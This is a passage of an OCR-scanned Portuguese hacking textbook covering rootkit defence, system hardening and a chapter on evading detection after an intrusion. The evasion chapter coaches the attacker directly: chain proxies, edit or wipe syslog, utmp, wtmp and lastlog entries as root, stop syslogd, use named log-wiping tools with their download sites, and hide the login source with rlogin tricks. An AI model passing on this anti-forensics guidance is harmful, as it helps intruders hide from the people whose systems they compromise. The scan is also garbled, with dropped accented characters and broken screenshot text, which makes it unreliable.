de cabea. Um outro ponto importante a ser observado : conhea o software que est instalado em seu computador. comum, em casa, que baixemos e instalemos qualquer bobagem bacana que encontremos na Internet ou que venha em revistas com CDs. Tal prtica deve ser evitada em computadores domsticos e terminantemente proibida em computadores corporativos. Conhecendo os softwares instalados no computador, ficar fcil (em alguns casos - noutros no...) de notar alguma coisa estranha rodando na mquina. Um terceiro item obrigatrio de segurana a adoo de polticas de usurios e administrao. As estaes de trabalho em empresas devem empregar softwares e sistemas operacionais que permitam um controle total por parte
13321
Ataque, defesa e contra-ataque: Manuteno [
Universidade 30 ano
dos administradores, e que restrinjam ao mximo o que o usurio comum pode fazer. Isso inclui bloquear a instalao de programas e acesso a reas no autorizadas do computador (como o diretrio C\WINDOWS ou o Ibin em mquinas Unix). H empresas que usam Macintoshes com Mac OS X, ou Windows NT/2k/XP, ou mesmo algum Unix para PCs como o FreeBSD ou o Linux. A escolha corretssima, pois esses sistemas permitem montar polticas de direitos sobre o computador e impedir que os usurios (ou algum vrus ou cavalo de tria) instalem software no autorizado na mquina. Mas de nada adianta colocar um Windows XP Professional como estao de trabalho e no configur10 para segurana, deixando-o com as opes padro. Deve-se fazer a sintonia fma e retirar do usurio comum todas as permisses de acesso que possivelmente sejam danosas para a estao e para a rede. Mesmo em casa, os usurios domsticos do Windows NT/2k/XP e Mac OS devem criar contas de usurio sem muitas permisses e efetivamente usar essas contas no dia-a-dia!!! Deixe a conta do administrador apenas para administrao e instalao de programas. O mesmo vale para os j no to poucos usurios domsticos de Linux. O Linux (e qualquer Unix) j vem "de fbrica" com esse esquema de usurios e permisses. Mas (sempre tem um mas) os usurios sempre "do um jeito" de subverter esse esquema e comprometer a segurana. Coisas como subverter o uso do o sudo ou operar com o usurio root (o maior sacrilgio de todos) so muito comuns. Se voc foi infectado, no use qualquer ferramentas de desinfeco que no seja de produtores idneos. Baixar uma ferramenta de um local suspeito que promete retirar o Sub7 do seu computador loucura. Ele pode tanto fazer o que promete, como remover o Sub7 e instalar outro backdoor, ou ainda "patchear" o Sub7 para que seu antivrus no o detecte - mas ele continua l. Quanto aos rootldts, uma grande maneira de evit-los nunca deixar um usurio com poderes suficientes para chegar s partes crticas do sistema. Um rootkit precisa ser instalado. Mesmo que a instalao seja automtica, ele sempre rodar no contexto do usurio. Deixar os usurios com nveis mnimos de acesso pode dificultar a instalao e ao dos rootkits. Alm disso, a conta Administrador ou root deve ser observada e guardada a sete chaves. Senhas difceis de quebrar ou mesmo de adivinhar so obrigatrias. Aplicativos que no rodem como root/ Admin (nunca!) e portanto isolando a conta principal de qualquer buffer overflow tambm so importantssimos. Mesmo sistemas bem protegidos, atualizados e configurados possuem falhas. Portanto, possvel que um dia algum hacker consiga acesso privilegiado a seu sistema. Para detectar desvios de configurao e instalao de rootkits, instale IDSse programas de inventrio de integridade de arquivos - Tripwire (www.tripwire.com) e AIDE(wwwcs.tut.fi/-rammer/aide.html) so os mais conhecidos. Verifique as assinaturas de todos os programas instalados e a integridade dos arquivos de configurao. Todos os desenvolvedores de software modernos possuem bancos de dados com as assinaturas MD5 de seus executveis crticos.
Ataque, defesa e contra-ataque: Manuteno
13331
I Universidade
H4CK3R I
Quanto a rootkits baseados em kernel, em primeiro lugar,no deixe que cheguem ao seu ncleo! Para comear, se o seu sistema pennitir (e se voc no usar nenhum mdulo importante), desabilite a opo de carregar LKMs. Vaipoupar muitas dores de cabea. Se for o caso e, se possvel, recompile seu kernel ou pea para seu fornecedor faz-Io.Um kernel imune a LKMscertamente estar imune a rootkits LKM. No caso dos Windows (mesmo da famliaWinNT), que no possuem um esquema formal de LKMs, a nica maneira de evitar kernel rootkits impedir que os arquivos sensveis possam ser alterados por qualquer usurio, alm de cuidar para manter a senha do Administrador em segurana. Um truque muito usado deixar a conta chamada Administrador com uma senha difcil mas sem direito algum sobre o sistema, e assim criar um despiste para invasores. Cria-se, ento, outra conta, com outro nome e uma senha igualmente difcil, e este usurio ser o administrador de fato. E desabilite o suporte a Lan Manager. Note que possvel simular a implementao de LKMsno Wmdows por meio de VxDs (releia o captulo sobre Plataformas Wmdows) e, portanto, o acesso pasta C\WINDOWSou C\WINNT deve ser bloqueado a todo custo para usurios comuns. Uma maneira de verificar os discos rgidos procura de rootkits (sejam baseados em kernel ou no) retir-Ios e intal-Ios em uma mquina s, sem direito de execuo de programas. Os HDs sero considerados como drives de dados no sistema de testes, e como no so o kernel e os programas infectados que esto rodando, e sim os da mquina confivel, todos os arquivos e alteraes dos rootkits ficaro aparentes e passveis de verificao. Para verificar se um rootkit est farejando a rede, rode, voc mesmo, um sniffer como o Ethereal. Verifique os modos de operao da placa de rede. Se, mesmo com o sniffer, a interface no aparecer em modo promscuo, um rootkit seguramente o est camuflando. Em ltimo caso, no aproveite nada de um sistema comprometido. Faa backup dos dados (e apenas dos dados, no da configurao!!!) e reformate completamente o sistema, reinstalando-o do zero. No esquea de configur-Io e atualiz-Io completamente antes de o colocar em produo, caso contrrio o invasor pode entrar novamente pelo mesmo buraco de antes. Guarde uma cpia do HD comprometido para futura anlise e investigao do ataque. Se possvel, guarde o HD original e coloque um novo no lugar. possvel que o invasor tenha deslizado em apenas um detalhe nfimo, mas esse detalhe, se descoberto, pode levar sua localizao e, se a lei permitir, a sua priso. Uma ltima dica: Echolot (echolot.sourceforge.net).
13341
Ataque, defesae contra-ataque: Manuteno [
Universidade 3 ano
que podem ser vistas como parania ou mesmo bobagem por administradores experientes. MasPOdem ser levadasa cabo caso se precise de segurana mxima. Em primeiro lugar, deve-se aplicar toda a cartilha e fazer a configurao de segurana normal que todo sistema deve ter. Isso pr-requisito. Depois, deve-se restringir o acesso pilha TCP/lP (em cada mquina da rede!). Apenas programas autorizados podem ter acesso pilha, e mesmo os autorizados devem ser verificados quanto sua assinatura MD5. Qualquer desvio deve ser bloqueado e informado ao administrador. No caso de servidores, cada um dos programas deve ser executado com um usurio diferente, e cada usurio desses deve ter acesso a um conjunto diferente de diretrios, arquivos, bibliotecas, num ambiente que, em Unix, chama-se chrooted. Mesmo o diretrio temporrio (jtmp ou C\WINDOWS\TEMP)deve ser dividido por processo (jtmp/apache, /tmp/sendmail, /tmp/popd, /tmp/tripwire, etc.) e com
.
mo que uma falha seja descoberta e explorada em um dos aplicativos, ele estar confmado em seu ambiente prprio e no dar acesso a outras partes do sistema. Depois, bloqueia-se o acesso a todas as bibliotecas e cria-se imagens separadas delas para aplicativo - e restritas! Por exemplo, em uma mquina WinNT pode-se bloquear completamente todas as DLLs do sistema e depois criar imagens com RUNASpara cada usurio (que, como vimos, representa um nico programa). Por ltimo, uma idia montar todas as LANsinternas como VPNs criptografadas por PGP (ou outro formato qualquer). Alm de bloquear trfego vindo de fora (porque no bate com a criptografia e as chaves usadas), possvel conceber polticas de acesso fortemente protegidas. Apenas usurios e mquinas com a chave correta podem acessar determinados recursos - dificlimocontornar tal esquema. Apenas os servidores externos (como seu servidorWeb) ficaro fora da VPN e aceitaro conexes TCP/lP no criptografadas. E, novamente, relembramos: a famlia Win9x no foi desenvolvida para ser cliente de rede. A pilha TCP/lP e toda a funcionalidade 5MB foi enxertada depois. Portanto, nunca espere confiabilidade e segurana delas. Em uma rede corporativa segura, nem as estaes podem ser Windows 95/98/Me. Evite-as. Se for realmente preciso usar Windows como estao de trabalho ou servidor, use sempre Windows 2000 ou superior.
1335 I
IAtaque,
defesa e contra-ataque:
Manuteno
Evaso
fica cansado"
Provrbio rabe
I Universidade
H4CK3R I
No importa se o objetivo do ataque seja causar rebulio ou obter secretamente algum proveito: qualquer atacante que se preze no deseja ser rastreado e muito menos apanhado. Alguns detalhes devem ser observados para que, depois de uma invaso do tipo "obra de arte", a determinao do culpado seja impossvel ou muito difcil. No captulo anterior, quando falamos em rootkits, vimos que eles podem esconder um sem-nmero de detalhes e, assim, mascarar a presena e a ao do hacker no computador atacado. Entretanto, seguro, morreu de velho e, com ou sem rootkits, altamente desejvel que o invasor tome providncias para apagar todos os rastros e vestgios de sua passagem pelo sistema. Em vrias plataformas h ferramentas que o fazem automaticamente, mas entender os mecanismos de registro muito importante para conferir a eficcia dessas mesmas ferramentas ou para fazer tudo "na mo", na falta delas. Outro detalhe para o qual o invasor deve estar atento a camuflagem dos canais de comuicao entre ele e a mquina invadida. Como vimos no captulo anterior, h maneiras de tornar invisvel o fluxo de dados de um backdoor ou cavalo de tria, simplesmente escondendo os bytes sendo transmitidos/recebidos em conexes vlidas. Neste captulo, veremos mais algumas maneiras de fazer essas conexes invisveis. Antes de falarmos em evaso, lembre-se de que o disfarce anterior ao ataque importante. Se voc pretende invadir algum, lembre-se de usar algum tipo de spoofmg antes, como, por exemplo, cadeias de proxies pblicos ou mquinas-Iaranja rodando redirecionadores Netcat. Usar seu prprio IP para mirar em algum burrice.
13381
Ataque, defesae contra-ataque: Evaso I
Universidade
3a ano
13391
] Ataque,
defesa e contra-ataque:
Evaso
I Universidade
H4CK3R I
Depois de enganar o histrico do shell, temos de apagar os rastros nos logs do sistema. Na maioria dos Unix, o daemon responsvel pelo registro dos logs de sistema o syslogd. Em qualquer Unix invadido, portanto, interessante pesquisar nos arquivos de configurao do daemon (que, no Linux, fica em /etc/syslog.conf - mas isso varia em outros Unices) e verificar quais os nomes dos arquivos de registro de eventos e onde esto gravados. Como usurio comum (no root) em um Conectiva Linux 9, o arquivo /etc/ syslog.conf mostra:
$ cat /etc/syslog.conf # Log alI kernel messages to the console. # Logging much eIse clutters up the screen. #kern.* /dev/console
# Log anything (except mail) of leveI info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages # The authpriv file has restricted access. authpriv.* # Log alI themail mail.* messages in one place. /var/log/maillog
/var/log/secure
# Everybody gets emergency messages, plus log them on another # machine. * *.emerg # Savemail and news errors of leveI err and higher in a # special file. uucp,news.crit /var/log/spooler # Save boot messages also to boot.log locaI7.*
/var/log/boot.log
Obviamente, cada um dos arquivos indicados no syslogd possui uma funo diferente. Todas as linhas marcadas com um # so consideradas como comentrios e ignoradas. O campo da esquerda define uma srie de regras de registro a serem aplicadas s mensagens. Os campos da direita indicam em quais arquivos os registros tm de ser gravados. Observe que, no syslog.conf acima, o ftltro kem.. est direcionado para /dev/conso1e - ou seja, as mensagens do kemel seriam ecoadas no terminal, caso a linha estivesse descomentada. Como se pode ver, dispositivos tambm podem ser usados para logging, alm dos arquivos comuns.
1340 I
Ataque, defesae contra-ataque: Evaso I
Universidade
3a ano
Pelo que podemos observar do syslog.conf, temos, em /var/log, ~/var/log/messages: registra todas as mensagens de nvel informativo do sistema. ~/var/log/secure: registra acesso a arquivos e processos restritos. ~/var/log/maillog: registra mensagens de e-mail enviadas e recebidas. ~/var/log/spooler: registra erros em trocas de Mail, UUCP e News. ~/var/logiboot.1og: registra eventos e erros durante o boot. Novamente lembrando: essas localizaes so para o Conectiva Linux 9111 Procure no prprio Unix invadido quais as localizaes reais dos arquivos. possvel que o nmero e a funo deles seja diferente: pode haver um arquivo apenas com todos os logs, ou podem haver, por exemplo, um arquivo separado para UUCP e outro para e-mail. Script kiddies normalmente usam ferramentas e scripts de apagamento de logs de um sistema em outro e, em vez de se esconderem, acabam criando mais mensagens de erro nos logs e alertanto o administrador mais cedo do que o esperado. Olhe antes de agir e faa a coisa certa. Uma vez descobertos quais os arquivos responsveis pelo registro de eventos do Unix sob ataque, podemos passar edio deles. Apesar de existirem ferramentas que aplicam criptografia forte nos arquivos de log, a grande maioria dos sistemas ainda usam o bom e velho texto puro para grav-los. O que significa que o hacker pode usa seu editor de textos preferido (emacs, vi, joe, pico...) para edit-Io manualmente. Os autores recomendam sempre editar manualmente os arquivos, evitando que sujeira, erros ou imprecises nos scripts que o fazem automaticamente possam colocar tudo a perder. Ainda no CL9, vamos ao diretrio /var!log e vejamos o que h por l:
$ ls XFree86.
XFree86. apache boot. 10g boot .10g.1 boot.log.2 boot.log.3
mai11og. 2
mai 110g. 3
secure. 4 spooler
vtund wtmp
Observe: alm dos arquivos do syslogd, o diretrio /var!log contm os registros de outros programas e servidores que rodam na mquina, como Apache, Samba, CUPSe o XFree86. Convm verificar os logs de todos eles, uma vez que alguma ao sua (intencional ou no) pode ter deixado marcas em qualquer deles. Ocupemos-nos primeiro dos cinco arquivos do syslogd. Ainda como usurio comum, abra (com seu editor de textos favorito) o arquivo boot.1og. Nele esto os servios sendo executados, os mdulos do kemel carregados e os servidores que so iniciados e finalizados pelo inetd. Note que h outros, chamados boot.1og.1, boot.1og.2, etc, que guardam logs antigos. Agora tente escrever qualquer coisa e salvar o arquivo (sempre como usurio comum). Permisso negada! Os outros arquivos - maillog, messages, secure e spooler - sequer do permisso de leitura a usurios comuns.
1341 I
I
Evaso
I Universidade
H4CK3R
Logue-se como root (ou, em um sistema invadido, consiga acesso a root usando buffer overflow ou outra tcnica qualquer) e abra os arquivos. Verifique as sintaxes deles. Maillog registra a atividade de SMIP,IMAPe POP locais (sendmail, postfix, qmail, imapd, pop3d...). Messages muito importante: registra as mensagens entre processos e entre eles e o keme1. Secure, por outro lado, registra mensagens de acesso privilegiado a arquivos e processos. Por sua vez, spooler guarda as mensagens oriundas de programas que usam os servios de spool (mail, uucp, news, etc). Mesmo que voc no tenha mexido com o servidor de SMfP ou POp, prudente verificar tambm os arquivos / var!log/maillog e /var!log/spool e ter certeza de que, inadvertidamente, voc no disparou algum processo que tenha alterado o logo O mesmo vale para qualquer processo ou arquivo, portanto um cuidado geral no log primordial. Voltando ao /etc/syslogd.conf, a linha
# Everybody gets emergency messages, plus log them on another # machine.
*.emerg
indica que quaisquer mensagens de emergncia do sistema sero ecoadas a todos os logs e a todos os usurios. Cuidado com isso: se o sistema detectar coisas estranhas acontecendo, possvel que todos os usurios sejam avisados - portanto, uma boa idia parar o servio syslogd ou reinici-locom essa linha comentada. Consulte as pginas de manual do syslogd e do syslog.conf no Unix afetado para detalhes. Mas, alm do que monitorado pelo syslogd, h outros arquivos de real importncia. Um deles o sistema utmp/wtmp/lastlog. O utmp um subsistema que registra quem est conectado no presente momento. Quando o usurio (ou o administrador) emite um comando who, o comando vai ler em /var/run/utmp as informaes sobre todas as contas em uso, em quais terminais elas esto e, se for uma conexo remota, o W de origem da conexo. Por exemplo, no momento em que estas linhas esto sendo escritas, o comando who informa: henrique pts/O Feb 16 14:42 henrique pts/1 Feb 16 16:07 Entretanto, eu posso dizer ao comando who em qual arquivo olhar. Se eu emitir o comando who /var/run/utmp, o resultado ser o mesmo: who sem argumentos sempre l o arquivo utmp. Mas e se eu pedir para who consultar em /var/log/wtmp? 9 05: 14 (192.168.1.229) Jan henrique pts/3 Jan 9 05: 16 (192.168.1.229) henrique pts/3 Fev 2 11: 50 james pts/O Fev 5 22:16 root tty1 Fev 5 22:17 henrique tty2 Fev 5 22:23 henrique tty3 Fev 5 22:40 root tty4 Fev 5 22:49 root pts/O Fev 5 22:52 root pts/1
13421
Ataque, defesa e contra-ataque: Evaso
I
Universidade
3a ano
o arquivo muito grande, ento mostramos apenas algumas linhas. Observe: No dia nove de janeiro, o usurio Henrique fez duas conexes a esta mquina (que, a ttulo de curiosidade, era a 192.168.1.11) a partir de outra, a 192.168.1.229. No dia dois de fevereiro, o usurio James logou-se localmente na mquina, e no dia cinco o usurio Henrique logou-se como root vrias vezes. O comando last faz um cruzamento de informaes entre os arquivos /var/ log/lastlog e /var/log/wtmp e mostra na tela as informaes detalhadas dos ltimos dias sobre os tempos de login e logout de cada usurio e mesmo de reboot da mquina. O comando lastlog, por outro lado, mostra quando cada um dos usurios do sistema logou-se pela ltima vez. Um usurio desativado que tenha dado login ontem um evento alarmante. Para o administrador de sistemas, usar os comandos last, lastlog e who para verificar o /var/log/wtmp uma medida tanto preventiva como corretiva. Portanto, imperioso para o cracker que quer apagar seus vestgios exclui todas as menes a ele nesses arquivos. Ento nosso intrpido invasor usa o pico (...) para editar, por exemplo, o /var/log/wtmp e tem uma desagradvel surpresa: o arquivo no de texto puro, mas binrio! O mesmo ocorre com /var/run/ utmp e com /var/log/lastlog. Ento, o que fazer? Desespero... Conforme dissemos antes, h ferramentas automticas para limpeza do utmp, wtmp e lastlog. Uma delas (entre muitas) o Hide (www.hoobie.net/security/ exploits/hacking/hide.c). Este pequeno programa apaga as entradas do usurio que o executou no arquivo utmp, caso esteja liberado para escrita para aquele usurio. Obviamente sistemas modernos no cometem essa tolice e deixam o utmp liberado apenas para root, mas uma excelente prova de conceito. O cdigo-fonte do programa, sendo pequeno, fcil de entender. Obviamente a esta altura o leitor j deve saber que ter de compilar o programinha para que ele funcione. Dependendo do sistema, podem ser necessrias algumas alteraes. No Conectiva Linux 9, por exemplo, bastou substituir todas as funes exit( ) por exit(O). Nota-se a que o candidato a hacker deve obrigatoriamente aprender a programar (ou pelo menos, a "se virar") em C e C++. Se voc no quer aprender a programar, bem, jogue este livro fora: voc no quer, defmitivamente, elevar seu nvel tcnico, mas apenas aprender receitinhas de ataque simples. Hackers riem de vocs, enquanto isso. No mesmo site encontramos outra ferramenta muito famosa, desenvolvida pelo no menos famoso hacker Simp1e Nomad, chamada (puxa...) Remove (www.hoobie.net/security/exploits/hacking/remove.c). Com ela, possvel remover quaisquer usurios de qualquer um dos trs arquivos utmp, wtmp e lastlog. Foi desenvolvidaparaAIX,mas pode ser facilmente compilada (como est ou com modificaes simples) em qualquer sabor de Unix, incluindo linux e {Free,Open,Net}BSD. Alm de remover os registros referentes a qualquer usurio (e no apenas ao que executar a ferramenta, como o Hide), o Remove permite que se altere o ltimo usurio que fez login e o local de login (IP,se remoto; tty ou pst, se local).
13431
I
Evaso
I Universidade
H4CK3R I
Compile e teste os dois programas em sua mquina de testes. Faa vrias experincias, como aumentar e diminuir o nvel de permisses dos seus utmp, wtmp e lastlog e rodar as duas ferramentas. Note que, num ataque real, o invasor normalmente precisa de um shell root para rodar o Remove, embora no precise, necessariamente, de tantos privilgios para atacar o sistema. Depois de brincar com esses, procure por outros tipos de ferramentas. Nomes muito comuns so Cloak, Cloak2 (ou Cloak-2) Zap e LogWEdit. Muitos rootkits possuem ferramentas (embutidas ou no) para edio desses arquivos. Veja, por exemplo, a documentao do Knark e do Irk5. Mas lembre-se: nunca use a pea redonda no buraco quadrado! Pesquise sobre a ferramenta correta para o Unix que est sendo atacado. Caso nenhuma dessas ferramentas esteja disponvel no momento, alguns truques podem ajud-Io a permanecer escondido por algum tempo. Por exemplo, quando se acessa o sistema por uma conta "hackeada", provavelmente o acesso vai ficar gravado no arquivo lastlog, com o IP de conexo ou o nome de domnio correspondente. Para apagar isso (ao menos no lastlog), uma vez feito o login com sucesso, rode o comando rlogin na mesma conta. Pronto! Agora, o ltimo login desta conta ter sido local, e no arquivo lastlog aparecer "from localhost". Falta enganar o comando who. Uma vez logado no sistema (e depois de enganar o lastlog...), use o comando login e fornea, novamente, o usurio e senha desta conta. Dependendo do Unix (e de quanto ele est atualizado...), isso esconder a origem da conexo, fazendo o comando who pensar que algum est conectado localmente. Para terminar, procure pelos logs especficos dos servidores e aplicativos que rodam no computador invadido. Alm dos logs de sistema, procure pelos do Apache ou do servidor de FTP'Cada sistema e sabor Unix possuem daemons de verses e procedncias diferentes e com um procedimento diverso de logging. No vamos discorrer sobre todas as possibilidades aqui, pois tomaria o espao de vrios livros como este; mas imperativo que o leitor pesquise sobre isso no ambiente invadido. justamente por isso que a observao importante, antes de fazer qualquer coisa. Como tarefa para casa, experimente verificar os logs do Apache e do Squid em sua mquina de testes. Experimente simplesmente conectar-se a ela a partir de outra maquina como um usurio regular (por exemplo, faa uma conexo SSH a ela, use-a como proxy com o Squid ou acesse uma pgina HTML de testes). Depois, siga todos os passos de invaso vistos nos captulos anteriores, desde rodar um nmap contra a mquina at realmente conseguir root por algum mtodo e alterar alguma coisa. Observe atentamente os arquivos de log e veja o que acontece.
ltima dica: www.hoobie.net.
13441
Ataque, defesae contra-ataque: Evaso [
Universidade
3a ano
LogonllogoFF ~ Para alterar os logs, Logonde con'a ~ deve-se usar outras fer~ LogonllogoFF Logonde con'a ~ Logonllogoff ramentas, uma vez que Uso de p,lvllo" # o Event Viewer ape# LogonllogoFf Logonde con'. # nas um visualizador. # Monl'ora,o d" Monl'ora,o d" H algumas disponMonl'ora,o d" # Audl'oda ". # Audl'o,l. c" veis em sites de hackers, mas preciso fazer alguma pesquisa para tal. O site NT Security (ntsecurity.nu) oferece uma ferramenta chamada WinZapper, que permite alterar os logs de servidores Windows NT e 2000.
24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 241612003
Audlto,las" Audlto,l. s" Audl'oda s" Audl'",la s" Audl'o,l. s" # Audl'",la ". Audlto,lac" Audlto,lac" Audl'o,la c" Audl'",la c" ,fi' Audlto,l. c"
s".
IIIIID
19:38:55 19:38:55 19:38:55 19:38:50 19:38:50 19:38:50 19:38:50 19:38:50 19:38:50 19:38:45 19:38:45 19:38:45 19:38:45
",_IiIi!ffitI.....-
24/612003
Securl', Securl'y Secu,l'y Secu,lty Securl', Securl'y Securl', Securl', Secu,l', Secu,l', Securl'y 5ecurl', Secu,l'y
1345 I
I Ataque,
defesa e contra-ataque:
Evaso
I Universidade
H4CK3R I
13461
Ataque, defesae contra-ataque: Evaso [
Universidade 3a ano
Defesa e Contra-ataque
Algumas medidas podem ser tomadas para impedir ou, pelo menos, dificultar o trabalho de camuflagem dos hackers maliciosos.
Apagamento de logs
Em primeiro lugar, certifique-se periodicamente de que a auditoria do sistema esteja realmente rodando, e os logs sendo criados. Em mquinas Unix, verifique o syslogd; no Windows, o EventLog. H hackers que, em vez de editar os logs, desligam a auditoria e deixam registros falsos e que no mudam nunca. Administradores "desligados" e alguns verificadores de integridade de arquivos so enganados com essa tcnica simples e grosseira. Em segundo lugar, verifique se quem tem permisso de escrita ou mesmo leitura dos logs realmente deveria possu-Ia. Apesar de bvio, este cuidado geralmente deixado de lado mesmo por administradores experientes. Utilize a poltica da mxima restrio possvel. Nesse caso, sempre, menos mais. Aplicar criptografia a terceira providncia bvia. Ao contrrio das duas anteriores, normalmente os logs no so criptografados por padro, com ferramentas do prprio sistema. Em vez disso, so necessrios programas de terceiros para a tarefa. Cada sistema operacional possui diversas possibilidades. Contate seu fornecedor para obter mais informaes. Outra maneira muito eficaz (mas no to bvia) de proteger os logs gravlos em mdias apenas de leitura. CD-Rs so especialmente teis nessa hora. possvel que haja problemas de desempenho no acesso a disco, mas os drives mais modernos j possuem velocidade aceitvel para a tarefa. O fato que os hackers no conseguiro alterar o log porque isso no fisicamente possvel. Preparar um servidor especial para armazenar os registros de eventos de todos os outros computadores tambm um artifcio interessante. Isso cria diversas camadas de dificuldade para o invasor chegar at, ou mesmo saber onde esto, os verdadeiros arquivos de registro. Novamente, contate seu fornecedor para conhecer as opes de servidores de logging disponveis para seu sistema operacional. Um ltimo truque, que no bloqueia, mas retarda o invasor mais habilidoso, colocar os logs em locais fora do padro e deixar, nos locais-padro, simulacros. Em se tratando de kiddies, esse expediente simples criar a impresso falsa de que "limparam a barra", quando na verdade continuam sendo monitorados.
Camuflagem de conexoes
Para comear, e em consonncia com o que vimos nos captulos anteriores, o invasor no deve conseguir, de forma alguma, acesso privilegiado ao sistema.
13471
I Ataque,
defesa e contra-ataque:
Evaso
I Universidade
H4CK3R
Root ou administrador, esse acesso deve ser evitado ao mximo. Portanto, aplique as correes do seu fabricante, mantenha senhas difceis, desative servios no usados, bl bl bl... A velha frmula de sempre, que deve ser aplicada a qualquer situao. Conhea o que voc est rodando. Saiba os processos que podem e os que no deveriam aparecer na lista de tarefas, bem como as conexes que deveriam (ou no) estar estabe1ecidas. Verifique-os periodicamente, mais de uma vez por dia em casos de suspeita de ataque e mais de uma vez por hora caso o ataque tenha sido detectado. Uma ltima dica: o Snort consegue detectar canais de comunicao baseados em ICMP.Snort x Loki... jogo interessante.
Uma despedida?2
Bem, chegamos ao fmal de nossos estudos formais. emocionante v-Io formado e diplomado. Mas lembre-se que sua educao sobre hackerismo no termina com o ltimo captulo: veja o que preparamos para voc no CD! Alm disso, faa todas as experincias do livro e visite todos os sites indicados. E tambm teste todas as ferramentas sugeridas. Voc ver que so muito poucas, se comparado ao que h disponvel. V atrs! Aprender a ser "hacker" (ou como quer que voc chame) um processo contnuo. Despedimo-nos aqui (lgrimas nos olhos!) e esperamos que possamos nos encontrar em breve, em outro curso, talvez. Mas mantenha contato com seus velhos professores! Mande-nos suas sugestes, crticas e colaboraes para este livro.Todos esto convidados a participar. Escreva mesmo! Nosso endereo: univh4ck3r@digeratLcom.br. E no esquea de acessar nosso site em www.digerati.com.br/livro Um grande abrao, e at mais. Happy Hacking!
2 digno de nota que este livro chegou at aqui sem citar nenhuma vez A arte da guerra: Sun Tzu . No h publicao moderna que no se aproveite desse venervel exemplo da literatura clssica. Os autores procuraram fugir do lugar-comum, e portanto decidiram (contrariando sugestes disparadas de todos os lados) no incluir nenhum trecho do milenar compndio. Entretanto, o livro muito bom e vale a pena ser lido, de graa e on-line, em www.kimsoft.com/polwar.htm.
3481
Ataque, defesa e contra-ataque: Evaso r